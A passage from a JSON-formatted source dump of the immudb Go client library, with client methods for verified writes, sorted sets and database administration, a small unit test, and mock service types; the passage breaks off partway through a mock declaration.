c.currentDatabase(),\n\t\tTxId:      targetID,\n\t\tTxHash:    targetAlh[:],\n\t\tSignature: vTx.Signature,\n\t}\n\n\tif c.serverSigningPubKey != nil {\n\t\terr := newState.CheckSignature(c.serverSigningPubKey)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\terr = c.StateService.SetState(c.Options.CurrentDatabase, newState)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdecodeTxEntries(vTx.Tx.Entries)\n\n\treturn vTx.Tx, nil\n}\n\n// TxScan returns raw entries for a range of transactions.\nfunc (c *immuClient) TxScan(ctx context.Context, req *schema.TxScanRequest) (*schema.TxList, error) {\n\tif !c.IsConnected() {\n\t\treturn nil, errors.FromError(ErrNotConnected)\n\t}\n\n\treturn c.ServiceClient.TxScan(ctx, req)\n}\n\n// History returns history for a single key.\nfunc (c *immuClient) History(ctx context.Context, req *schema.HistoryRequest) (sl *schema.Entries, err error) {\n\tif !c.IsConnected() {\n\t\treturn nil, errors.FromError(ErrNotConnected)\n\t}\n\n\tstart := time.Now()\n\tdefer c.debugElapsedTime(\"History\", start)\n\n\treturn c.ServiceClient.History(ctx, req)\n}\n\n// SetReference creates a reference to another key's value.\n//\n// Note: references can only be created to non-reference keys.\nfunc (c *immuClient) SetReference(ctx context.Context, key []byte, referencedKey []byte) (*schema.TxHeader, error) {\n\treturn c.SetReferenceAt(ctx, key, referencedKey, 0)\n}\n\n// SetReference creates a reference to another key's value at a specific transaction.\n//\n// Note: references can only be created to non-reference keys.\nfunc (c *immuClient) SetReferenceAt(ctx context.Context, key []byte, referencedKey []byte, atTx uint64) (*schema.TxHeader, error) {\n\tif !c.IsConnected() {\n\t\treturn nil, errors.FromError(ErrNotConnected)\n\t}\n\n\tstart := time.Now()\n\tdefer c.debugElapsedTime(\"SetReferenceAt\", start)\n\n\ttxhdr, err := c.ServiceClient.SetReference(ctx, &schema.ReferenceRequest{\n\t\tKey:           key,\n\t\tReferencedKey: referencedKey,\n\t\tAtTx:          atTx,\n\t\tBoundRef:      atTx > 0,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif int(txhdr.Nentries) != 1 {\n\t\treturn nil, store.ErrCorruptedData\n\t}\n\n\treturn txhdr, nil\n}\n\n// VerifiedSetReference creates a reference to another key's value and verifies server-provided\n// proof for the write.\n//\n// Note: references can only be created to non-reference keys.\nfunc (c *immuClient) VerifiedSetReference(ctx context.Context, key []byte, referencedKey []byte) (*schema.TxHeader, error) {\n\treturn c.VerifiedSetReferenceAt(ctx, key, referencedKey, 0)\n}\n\n// SetReference creates a reference to another key's value at a specific transaction and verifies server-provided\n// proof for the write.\n//\n// Note: references can only be created to non-reference keys.\nfunc (c *immuClient) VerifiedSetReferenceAt(ctx context.Context, key []byte, referencedKey []byte, atTx uint64) (*schema.TxHeader, error) {\n\terr := c.StateService.CacheLock()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer c.StateService.CacheUnlock()\n\n\tif !c.IsConnected() {\n\t\treturn nil, errors.FromError(ErrNotConnected)\n\t}\n\n\tstart := time.Now()\n\tdefer c.debugElapsedTime(\"VerifiedSetReferenceAt\", start)\n\n\tstate, err := c.StateService.GetState(ctx, c.Options.CurrentDatabase)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treq := &schema.VerifiableReferenceRequest{\n\t\tReferenceRequest: &schema.ReferenceRequest{\n\t\t\tKey:           key,\n\t\t\tReferencedKey: referencedKey,\n\t\t\tAtTx:          atTx,\n\t\t\tBoundRef:      atTx > 0,\n\t\t},\n\t\tProveSinceTx: state.TxId,\n\t}\n\n\tvar metadata runtime.ServerMetadata\n\n\tverifiableTx, err := c.ServiceClient.VerifiableSetReference(\n\t\tctx,\n\t\treq,\n\t\tgrpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif verifiableTx.Tx.Header.Nentries != 1 {\n\t\treturn nil, store.ErrCorruptedData\n\t}\n\n\ttx := schema.TxFromProto(verifiableTx.Tx)\n\n\tentrySpecDigest, err := store.EntrySpecDigestFor(tx.Header().Version)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tinclusionProof, err := tx.Proof(database.EncodeKey(key))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\te := database.EncodeReference(key, nil, referencedKey, atTx)\n\n\tverifies := store.VerifyInclusion(inclusionProof, entrySpecDigest(e), tx.Header().Eh)\n\tif !verifies {\n\t\treturn nil, store.ErrCorruptedData\n\t}\n\n\tif tx.Header().Eh != schema.DigestFromProto(verifiableTx.DualProof.TargetTxHeader.EH) {\n\t\treturn nil, store.ErrCorruptedData\n\t}\n\n\tvar sourceID, targetID uint64\n\tvar sourceAlh, targetAlh [sha256.Size]byte\n\n\tsourceID = state.TxId\n\tsourceAlh = schema.DigestFromProto(state.TxHash)\n\ttargetID = tx.Header().ID\n\ttargetAlh = tx.Header().Alh()\n\n\tif state.TxId > 0 {\n\t\tdualProof := schema.DualProofFromProto(verifiableTx.DualProof)\n\t\terr := c.verifyDualProof(\n\t\t\tctx,\n\t\t\tdualProof,\n\t\t\tsourceID,\n\t\t\ttargetID,\n\t\t\tsourceAlh,\n\t\t\ttargetAlh,\n\t\t)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tnewState := &schema.ImmutableState{\n\t\tDb:        c.currentDatabase(),\n\t\tTxId:      targetID,\n\t\tTxHash:    targetAlh[:],\n\t\tSignature: verifiableTx.Signature,\n\t}\n\n\tif c.serverSigningPubKey != nil {\n\t\terr := newState.CheckSignature(c.serverSigningPubKey)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\terr = c.StateService.SetState(c.Options.CurrentDatabase, newState)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn verifiableTx.Tx.Header, nil\n}\n\n// ZAdd adds a new entry to sorted set.\n// New entry is a reference to some other key's value\n// with additional score used for ordering set members.\nfunc (c *immuClient) ZAdd(ctx context.Context, set []byte, score float64, key []byte) (*schema.TxHeader, error) {\n\treturn c.ZAddAt(ctx, set, score, key, 0)\n}\n\n// ZAddAt adds a new entry to sorted set.\n// New entry is a reference to some other key's value at a specific transaction\n// with additional score used for ordering set members.\nfunc (c *immuClient) ZAddAt(ctx context.Context, set []byte, score float64, key []byte, atTx uint64) (*schema.TxHeader, error) {\n\tif !c.IsConnected() {\n\t\treturn nil, errors.FromError(ErrNotConnected)\n\t}\n\n\tstart := time.Now()\n\tdefer c.debugElapsedTime(\"ZAddAt\", start)\n\n\thdr, err := c.ServiceClient.ZAdd(ctx, &schema.ZAddRequest{\n\t\tSet:      set,\n\t\tScore:    score,\n\t\tKey:      key,\n\t\tAtTx:     atTx,\n\t\tBoundRef: atTx > 0,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif int(hdr.Nentries) != 1 {\n\t\treturn nil, store.ErrCorruptedData\n\t}\n\n\treturn hdr, nil\n}\n\n// VerifiedZAdd adds a new entry to sorted set.\n// New entry is a reference to some other key's value\n// with additional score used for ordering set members.\n//\n// This function also requests a server-generated proof, verifies the entry in the transaction\n// using the proof and verifies the signature of the signed state.\n// If verification does not succeed the store.ErrCorruptedData error is returned.\nfunc (c *immuClient) VerifiedZAdd(ctx context.Context, set []byte, score float64, key []byte) (*schema.TxHeader, error) {\n\treturn c.VerifiedZAddAt(ctx, set, score, key, 0)\n}\n\n// VerifiedZAddAt adds a new entry to sorted set.\n// New entry is a reference to some other key's value at a specific transaction\n// with additional score used for ordering set members.\n//\n// This function also requests a server-generated proof, verifies the entry in the transaction\n// using the proof and verifies the signature of the signed state.\n// If verification does not succeed the store.ErrCorruptedData error is returned.\nfunc (c *immuClient) VerifiedZAddAt(ctx context.Context, set []byte, score float64, key []byte, atTx uint64) (*schema.TxHeader, error) {\n\terr := c.StateService.CacheLock()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer c.StateService.CacheUnlock()\n\n\tif !c.IsConnected() {\n\t\treturn nil, errors.FromError(ErrNotConnected)\n\t}\n\n\tstart := time.Now()\n\tdefer c.debugElapsedTime(\"VerifiedZAddAt\", start)\n\n\tstate, err := c.StateService.GetState(ctx, c.Options.CurrentDatabase)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treq := &schema.VerifiableZAddRequest{\n\t\tZAddRequest: &schema.ZAddRequest{\n\t\t\tSet:   set,\n\t\t\tScore: score,\n\t\t\tKey:   key,\n\t\t\tAtTx:  atTx,\n\t\t},\n\t\tProveSinceTx: state.TxId,\n\t}\n\n\tvar metadata runtime.ServerMetadata\n\n\tvtx, err := c.ServiceClient.VerifiableZAdd(\n\t\tctx,\n\t\treq,\n\t\tgrpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD),\n\t)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif vtx.Tx.Header.Nentries != 1 {\n\t\treturn nil, store.ErrCorruptedData\n\t}\n\n\ttx := schema.TxFromProto(vtx.Tx)\n\n\tentrySpecDigest, err := store.EntrySpecDigestFor(tx.Header().Version)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tekv := database.EncodeZAdd(req.ZAddRequest.Set,\n\t\treq.ZAddRequest.Score,\n\t\tdatabase.EncodeKey(req.ZAddRequest.Key),\n\t\treq.ZAddRequest.AtTx,\n\t)\n\n\tinclusionProof, err := tx.Proof(ekv.Key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tverifies := store.VerifyInclusion(inclusionProof, entrySpecDigest(ekv), tx.Header().Eh)\n\tif !verifies {\n\t\treturn nil, store.ErrCorruptedData\n\t}\n\n\tif tx.Header().Eh != schema.DigestFromProto(vtx.DualProof.TargetTxHeader.EH) {\n\t\treturn nil, store.ErrCorruptedData\n\t}\n\n\tvar sourceID, targetID uint64\n\tvar sourceAlh, targetAlh [sha256.Size]byte\n\n\tsourceID = state.TxId\n\tsourceAlh = schema.DigestFromProto(state.TxHash)\n\ttargetID = tx.Header().ID\n\ttargetAlh = tx.Header().Alh()\n\n\tif state.TxId > 0 {\n\t\tdualProof := schema.DualProofFromProto(vtx.DualProof)\n\t\terr := c.verifyDualProof(\n\t\t\tctx,\n\t\t\tdualProof,\n\t\t\tsourceID,\n\t\t\ttargetID,\n\t\t\tsourceAlh,\n\t\t\ttargetAlh,\n\t\t)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tnewState := &schema.ImmutableState{\n\t\tDb:        c.currentDatabase(),\n\t\tTxId:      targetID,\n\t\tTxHash:    targetAlh[:],\n\t\tSignature: vtx.Signature,\n\t}\n\n\tif c.serverSigningPubKey != nil {\n\t\terr := newState.CheckSignature(c.serverSigningPubKey)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\terr = c.StateService.SetState(c.Options.CurrentDatabase, newState)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn vtx.Tx.Header, nil\n}\n\n// Dump is currently not implemented.\nfunc (c *immuClient) Dump(ctx context.Context, writer io.WriteSeeker) (int64, error) {\n\treturn 0, errors.New(\"Functionality not yet supported\")\n}\n\n// Get server health information.\n//\n// Deprecated: use ServerInfo.\nfunc (c *immuClient) HealthCheck(ctx context.Context) error {\n\tstart := time.Now()\n\n\tif !c.IsConnected() {\n\t\treturn ErrNotConnected\n\t}\n\n\tresponse, err := c.ServiceClient.Health(ctx, &empty.Empty{})\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif !response.Status {\n\t\treturn ErrHealthCheckFailed\n\t}\n\n\tc.Logger.Debugf(\"health-check finished in %s\", time.Since(start))\n\n\treturn nil\n}\n\nfunc (c *immuClient) currentDatabase() string {\n\tif c.Options.CurrentDatabase == \"\" {\n\t\treturn DefaultDB\n\t}\n\treturn c.Options.CurrentDatabase\n}\n\n// CreateDatabase creates new database within server instance.\n// This call requires SysAdmin permission level.\n//\n// Deprecated: Use CreateDatabaseV2\nfunc (c *immuClient) CreateDatabase(ctx context.Context, settings *schema.DatabaseSettings) error {\n\tstart := time.Now()\n\n\tif !c.IsConnected() {\n\t\treturn ErrNotConnected\n\t}\n\n\t_, err := c.ServiceClient.CreateDatabaseWith(ctx, settings)\n\n\tc.Logger.Debugf(\"CreateDatabase finished in %s\", time.Since(start))\n\n\treturn err\n}\n\n// CreateDatabaseV2 creates a new database.\n// This call requires SysAdmin permission level.\nfunc (c *immuClient) CreateDatabaseV2(ctx context.Context, name string, settings *schema.DatabaseNullableSettings) (*schema.CreateDatabaseResponse, error) {\n\tstart := time.Now()\n\n\tif !c.IsConnected() {\n\t\treturn nil, ErrNotConnected\n\t}\n\n\tres, err := c.ServiceClient.CreateDatabaseV2(ctx, &schema.CreateDatabaseRequest{\n\t\tName:     name,\n\t\tSettings: settings,\n\t})\n\tif err != nil {\n\t\treturn nil, errors.FromError(err)\n\t}\n\n\tc.Logger.Debugf(\"CreateDatabase finished in %s\", time.Since(start))\n\n\treturn res, nil\n}\n\n// LoadDatabase loads database on the server. A database is not loaded\n// if it has AutoLoad setting set to false or if it failed to load during\n// immudb startup.\n//\n// This call requires SysAdmin permission level or admin permission to the database.\nfunc (c *immuClient) LoadDatabase(ctx context.Context, r *schema.LoadDatabaseRequest) (*schema.LoadDatabaseResponse, error) {\n\tstart := time.Now()\n\n\tif !c.IsConnected() {\n\t\treturn nil, ErrNotConnected\n\t}\n\n\tres, err := c.ServiceClient.LoadDatabase(ctx, r)\n\n\tc.Logger.Debugf(\"LoadDatabase finished in %s\", time.Since(start))\n\n\treturn res, err\n}\n\n// UnloadDatabase unloads database on the server. Such database becomes inaccessible\n// by the client and server frees internal resources allocated for that database.\n//\n// This call requires SysAdmin permission level or admin permission to the database.\nfunc (c *immuClient) UnloadDatabase(ctx context.Context, r *schema.UnloadDatabaseRequest) (*schema.UnloadDatabaseResponse, error) {\n\tstart := time.Now()\n\n\tif !c.IsConnected() {\n\t\treturn nil, ErrNotConnected\n\t}\n\n\tres, err := c.ServiceClient.UnloadDatabase(ctx, r)\n\n\tc.Logger.Debugf(\"UnloadDatabase finished in %s\", time.Since(start))\n\n\treturn res, err\n}\n\n// DeleteDatabase removes an unloaded database.\n// This also removes locally stored files used by the database.\n//\n// This call requires SysAdmin permission level or admin permission to the database.\nfunc (c *immuClient) DeleteDatabase(ctx context.Context, r *schema.DeleteDatabaseRequest) (*schema.DeleteDatabaseResponse, error) {\n\tstart := time.Now()\n\n\tif !c.IsConnected() {\n\t\treturn nil, ErrNotConnected\n\t}\n\n\tres, err := c.ServiceClient.DeleteDatabase(ctx, r)\n\n\tc.Logger.Debugf(\"DeleteDatabase finished in %s\", time.Since(start))\n\n\treturn res, err\n}\n\n// UseDatabase changes the currently selected database.\n//\n// This call requires at least read permission level for the target database.\nfunc (c *immuClient) UseDatabase(ctx context.Context, db *schema.Database) (*schema.UseDatabaseReply, error) {\n\tstart := time.Now()\n\n\tif !c.IsConnected() {\n\t\treturn nil, errors.FromError(ErrNotConnected)\n\t}\n\n\tresult, err := c.ServiceClient.UseDatabase(ctx, db)\n\tif err != nil {\n\t\treturn nil, errors.FromError(err)\n\t}\n\n\tc.Options.CurrentDatabase = db.DatabaseName\n\n\tif c.SessionID == \"\" {\n\t\tif err = c.Tkns.SetToken(db.DatabaseName, result.Token); err != nil {\n\t\t\treturn nil, errors.FromError(err)\n\t\t}\n\t}\n\n\tc.Logger.Debugf(\"UseDatabase finished in %s\", time.Since(start))\n\n\treturn result, errors.FromError(err)\n}\n\n// UpdateDatabase updates database settings.\n//\n// Deprecated: Use UpdateDatabaseV2.\nfunc (c *immuClient) UpdateDatabase(ctx context.Context, settings *schema.DatabaseSettings) error {\n\tstart := time.Now()\n\n\tif !c.IsConnected() {\n\t\treturn ErrNotConnected\n\t}\n\n\t_, err := c.ServiceClient.UpdateDatabase(ctx, settings)\n\n\tc.Logger.Debugf(\"UpdateDatabase finished in %s\", time.Since(start))\n\n\treturn err\n}\n\n// UpdateDatabaseV2 updates database settings.\n//\n// Settings can be set selectively - values not set in the settings object\n// will not be updated.\n//\n// The returned value is the list of settings after the update.\n//\n// Settings other than those related to replication will only be applied after\n// immudb restart or unload/load cycle of the database.\nfunc (c *immuClient) UpdateDatabaseV2(ctx context.Context, database string, settings *schema.DatabaseNullableSettings) (*schema.UpdateDatabaseResponse, error) {\n\tstart := time.Now()\n\n\tif !c.IsConnected() {\n\t\treturn nil, ErrNotConnected\n\t}\n\n\tres, err := c.ServiceClient.UpdateDatabaseV2(ctx, &schema.UpdateDatabaseRequest{\n\t\tDatabase: database,\n\t\tSettings: settings,\n\t})\n\tif err != nil {\n\t\treturn nil, errors.FromError(err)\n\t}\n\n\tc.Logger.Debugf(\"UpdateDatabase finished in %s\", time.Since(start))\n\n\treturn res, err\n}\n\n// GetDatabaseSettings returns current database settings.\n//\n// Deprecated: Use GetDatabaseSettingsV2.\nfunc (c *immuClient) GetDatabaseSettings(ctx context.Context) (*schema.DatabaseSettings, error) {\n\tif !c.IsConnected() {\n\t\treturn nil, ErrNotConnected\n\t}\n\n\treturn c.ServiceClient.GetDatabaseSettings(ctx, &empty.Empty{})\n}\n\n// GetDatabaseSettingsV2 returns current database settings.\nfunc (c *immuClient) GetDatabaseSettingsV2(ctx context.Context) (*schema.DatabaseSettingsResponse, error) {\n\tif !c.IsConnected() {\n\t\treturn nil, ErrNotConnected\n\t}\n\n\tres, err := c.ServiceClient.GetDatabaseSettingsV2(ctx, &schema.DatabaseSettingsRequest{})\n\tif err != nil {\n\t\treturn nil, errors.FromError(err)\n\t}\n\n\treturn res, nil\n}\n\n// FlushIndex requests a flush operation from the database.\n// This call requires SysAdmin or Admin permission to given database.\n//\n// The cleanupPercentage value is the amount of index nodes data in percent\n// that will be scanned in order to free up unused disk space.\nfunc (c *immuClient) FlushIndex(ctx context.Context, cleanupPercentage float32, synced bool) (*schema.FlushIndexResponse, error) {\n\tif !c.IsConnected() {\n\t\treturn nil, errors.FromError(ErrNotConnected)\n\t}\n\n\tres, err := c.ServiceClient.FlushIndex(ctx, &schema.FlushIndexRequest{\n\t\tCleanupPercentage: cleanupPercentage,\n\t\tSynced:            synced,\n\t})\n\tif err != nil {\n\t\treturn nil, errors.FromError(err)\n\t}\n\n\treturn res, nil\n}\n\n// CompactIndex perform full database compaction.\n// This call requires SysAdmin or Admin permission to given database.\n//\n// Note: Full compaction will greatly affect the performance of the database.\n// It should also be called only when there's a minimal database activity,\n// if full compaction collides with a read or write operation, it will be aborted\n// and may require retry of the whole operation. For that reason it is preferred\n// to periodically call FlushIndex with a small value of cleanupPercentage or set the\n// cleanupPercentage database option.\nfunc (c *immuClient) CompactIndex(ctx context.Context, req *empty.Empty) error {\n\tstart := time.Now()\n\n\tif !c.IsConnected() {\n\t\treturn errors.FromError(ErrNotConnected)\n\t}\n\n\t_, err := c.ServiceClient.CompactIndex(ctx, req)\n\n\tc.Logger.Debugf(\"CompactIndex finished in %s\", time.Since(start))\n\n\treturn err\n}\n\n// ChangePermission grants or revokes permission to one database for given user.\n//\n// This call requires SysAdmin or admin permission to the database where we grant permissions.\n//\n// The permission argument is used when granting permission and can be one of those values:\n//   - 1 (auth.PermissionR) - read-only access\n//   - 2 (auth.PermissionRW) - read-write access\n//   - 254 (auth.PermissionAdmin) - read-write with admin rights\n//\n// The following restrictions are applied:\n//   - the user can not change permission for himself\n//   - can not change permissions of the SysAdmin user\n//   - the user must be active\n//   - when the user already had permission to the database, it is overwritten\n//     by the new permission (even if the user had higher permission before)\nfunc (c *immuClient) ChangePermission(ctx context.Context, action schema.PermissionAction, username string, database string, permissions uint32) error {\n\tstart := time.Now()\n\n\tif !c.IsConnected() {\n\t\treturn ErrNotConnected\n\t}\n\n\tin := &schema.ChangePermissionRequest{\n\t\tAction:     action,\n\t\tUsername:   username,\n\t\tDatabase:   database,\n\t\tPermission: permissions,\n\t}\n\n\t_, err := c.ServiceClient.ChangePermission(ctx, in)\n\n\tc.Logger.Debugf(\"ChangePermission finished in %s\", time.Since(start))\n\n\treturn err\n}\n\n// SetActiveUser activates or deactivates a user.\n// This call requires SysAdmin or Admin permission.\nfunc (c *immuClient) SetActiveUser(ctx context.Context, u *schema.SetActiveUserRequest) error {\n\tstart := time.Now()\n\n\tif !c.IsConnected() {\n\t\treturn ErrNotConnected\n\t}\n\n\t_, err := c.ServiceClient.SetActiveUser(ctx, u)\n\n\tc.Logger.Debugf(\"SetActiveUser finished in %s\", time.Since(start))\n\n\treturn err\n}\n\n// Return list of databases\n//\n// Deprecated: Use DatabaseListV2\nfunc (c *immuClient) DatabaseList(ctx context.Context) (*schema.DatabaseListResponse, error) {\n\tstart := time.Now()\n\n\tif !c.IsConnected() {\n\t\treturn nil, errors.FromError(ErrNotConnected)\n\t}\n\n\tresult, err := c.ServiceClient.DatabaseList(ctx, &empty.Empty{})\n\n\tc.Logger.Debugf(\"DatabaseList finished in %s\", time.Since(start))\n\n\treturn result, err\n}\n\n// DatabaseListV2 returns a list of databases the user has access to.\nfunc (c *immuClient) DatabaseListV2(ctx context.Context) (*schema.DatabaseListResponseV2, error) {\n\tif !c.IsConnected() {\n\t\treturn nil, errors.FromError(ErrNotConnected)\n\t}\n\n\treturn c.ServiceClient.DatabaseListV2(ctx, &schema.DatabaseListRequestV2{})\n}\n\nfunc decodeTxEntries(entries []*schema.TxEntry) {\n\tfor _, it := range entries {\n\t\tit.Key = it.Key[1:]\n\t}\n}\n\n// TruncateDatabase truncates the database to the given retention period.\nfunc (c *immuClient) TruncateDatabase(ctx context.Context, db string, retentionPeriod time.Duration) error {\n\tstart := time.Now()\n\n\tif !c.IsConnected() {\n\t\treturn ErrNotConnected\n\t}\n\n\tin := &schema.TruncateDatabaseRequest{\n\t\tDatabase:        db,\n\t\tRetentionPeriod: retentionPeriod.Milliseconds(),\n\t}\n\n\t_, err := c.ServiceClient.TruncateDatabase(ctx, in)\n\n\tc.Logger.Debugf(\"TruncateDatabase finished in %s\", time.Since(start))\n\n\treturn err\n}\n\n// VerifiableGet\nfunc (c *immuClient) VerifiableGet(ctx context.Context, in *schema.VerifiableGetRequest, opts ...grpc.CallOption) (*schema.VerifiableEntry, error) {\n\tresult, err := c.ServiceClient.VerifiableGet(ctx, in, opts...)\n\n\treturn result, err\n}\n"
  },
  {
    "path": "pkg/client/client_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage client\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"os\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/stretchr/testify/require\"\n\t\"google.golang.org/grpc\"\n)\n\nfunc TestLogErr(t *testing.T) {\n\tlogger := logger.NewSimpleLogger(\"client_test\", os.Stderr)\n\n\trequire.Nil(t, logErr(logger, \"error: %v\", nil))\n\n\terr := fmt.Errorf(\"expected error\")\n\trequire.ErrorIs(t, logErr(logger, \"error: %v\", err), err)\n}\n\nfunc TestImmuClient_Truncate(t *testing.T) {\n\tc := NewClient().WithOptions(DefaultOptions().WithDir(\"false\"))\n\tc.ServiceClient = &immuServiceClientMock{\n\t\tTruncateF: func(ctx context.Context, in *schema.TruncateDatabaseRequest, opts ...grpc.CallOption) (*schema.TruncateDatabaseResponse, error) {\n\t\t\treturn &schema.TruncateDatabaseResponse{\n\t\t\t\tDatabase: \"test\",\n\t\t\t}, nil\n\t\t},\n\t}\n\n\tst := time.Now().Add(-24 * time.Hour)\n\tdur := time.Since(st)\n\terr := c.TruncateDatabase(context.Background(), \"defaultdb\", dur)\n\trequire.Error(t, err)\n}\n"
  },
  {
    "path": "pkg/client/clienttest/homedir_mock.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\n// Package clienttest ...\npackage clienttest\n\nimport (\n\t\"github.com/codenotary/immudb/pkg/client/homedir\"\n)\n\nvar (\n\t_ homedir.HomedirService = (*HomedirServiceMock)(nil)\n)\n\n// HomedirServiceMock ...\ntype HomedirServiceMock struct {\n\thomedir.HomedirService\n\tWriteFileToUserHomeDirF    func(content []byte, pathToFile string) error\n\tFileExistsInUserHomeDirF   func(pathToFile string) (bool, error)\n\tReadFileFromUserHomeDirF   func(pathToFile string) (string, error)\n\tDeleteFileFromUserHomeDirF func(pathToFile string) error\n}\n\n// WriteFileToUserHomeDir ...\nfunc (h *HomedirServiceMock) WriteFileToUserHomeDir(content []byte, pathToFile string) error {\n\treturn h.WriteFileToUserHomeDirF(content, pathToFile)\n}\n\n// FileExistsInUserHomeDir ...\nfunc (h *HomedirServiceMock) FileExistsInUserHomeDir(pathToFile string) (bool, error) {\n\treturn h.FileExistsInUserHomeDirF(pathToFile)\n}\n\n// ReadFileFromUserHomeDir ...\nfunc (h *HomedirServiceMock) ReadFileFromUserHomeDir(pathToFile string) (string, error) {\n\treturn h.ReadFileFromUserHomeDirF(pathToFile)\n}\n\n// DeleteFileFromUserHomeDir ...\nfunc (h *HomedirServiceMock) DeleteFileFromUserHomeDir(pathToFile string) error {\n\treturn h.DeleteFileFromUserHomeDirF(pathToFile)\n}\n\n// DefaultHomedirServiceMock ...\nfunc DefaultHomedirServiceMock() *HomedirServiceMock {\n\treturn &HomedirServiceMock{\n\t\tWriteFileToUserHomeDirF: func(content []byte, pathToFile string) error {\n\t\t\treturn nil\n\t\t},\n\t\tFileExistsInUserHomeDirF: func(pathToFile string) (bool, error) {\n\t\t\treturn false, nil\n\t\t},\n\t\tReadFileFromUserHomeDirF: func(pathToFile string) (string, error) {\n\t\t\treturn \"\", nil\n\t\t},\n\t\tDeleteFileFromUserHomeDirF: func(pathToFile string) error {\n\t\t\treturn nil\n\t\t},\n\t}\n}\n"
  },
  {
    "path": "pkg/client/clienttest/immuServiceClient_mock.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\n// Package clienttest ...\npackage clienttest\n\nimport (\n\t\"context\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/golang/protobuf/ptypes/empty\"\n\t\"google.golang.org/grpc\"\n)\n\nvar (\n\t_ schema.ImmuServiceClient = (*ImmuServiceClientMock)(nil)\n)\n\n// ImmuServiceClientMock ...\ntype ImmuServiceClientMock struct {\n\tschema.ImmuServiceClient\n\n\tListUsersF        func(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*schema.UserList, error)\n\tGetUserF          func(ctx context.Context, in *schema.UserRequest, opts ...grpc.CallOption) error\n\tCreateUserF       func(ctx context.Context, in *schema.CreateUserRequest, opts ...grpc.CallOption) (*empty.Empty, error)\n\tChangePasswordF   func(ctx context.Context, in *schema.ChangePasswordRequest, opts ...grpc.CallOption) (*empty.Empty, error)\n\tDeactivateUserF   func(ctx context.Context, in *schema.UserRequest, opts ...grpc.CallOption) (*empty.Empty, error)\n\tUpdateAuthConfigF func(ctx context.Context, in *schema.AuthConfig, opts ...grpc.CallOption) (*empty.Empty, error)\n\tUpdateMTLSConfigF func(ctx context.Context, in *schema.MTLSConfig, opts ...grpc.CallOption) (*empty.Empty, error)\n\tLoginF            func(ctx context.Context, in *schema.LoginRequest, opts ...grpc.CallOption) (*schema.LoginResponse, error)\n\tLogoutF           func(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*empty.Empty, error)\n\n\tSetF           func(ctx context.Context, in *schema.SetRequest, opts ...grpc.CallOption) (*schema.TxHeader, error)\n\tVerifiableSetF func(ctx context.Context, in *schema.VerifiableSetRequest, opts ...grpc.CallOption) (*schema.VerifiableTx, error)\n\tGetF           func(ctx context.Context, in *schema.KeyRequest, opts ...grpc.CallOption) (*schema.Entry, error)\n\tVerifiableGetF func(ctx context.Context, in *schema.VerifiableGetRequest, opts ...grpc.CallOption) (*schema.VerifiableEntry, error)\n\n\tGetAllF                 func(ctx context.Context, in *schema.KeyListRequest, opts ...grpc.CallOption) (*schema.Entries, error)\n\tExecAllF                func(ctx context.Context, in *schema.ExecAllRequest, opts ...grpc.CallOption) (*schema.TxHeader, error)\n\tScanF                   func(ctx context.Context, in *schema.ScanRequest, opts ...grpc.CallOption) (*schema.Entries, error)\n\tCountF                  func(ctx context.Context, in *schema.KeyPrefix, opts ...grpc.CallOption) (*schema.EntryCount, error)\n\tCountAllF               func(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*schema.EntryCount, error)\n\tTxByIdF                 func(ctx 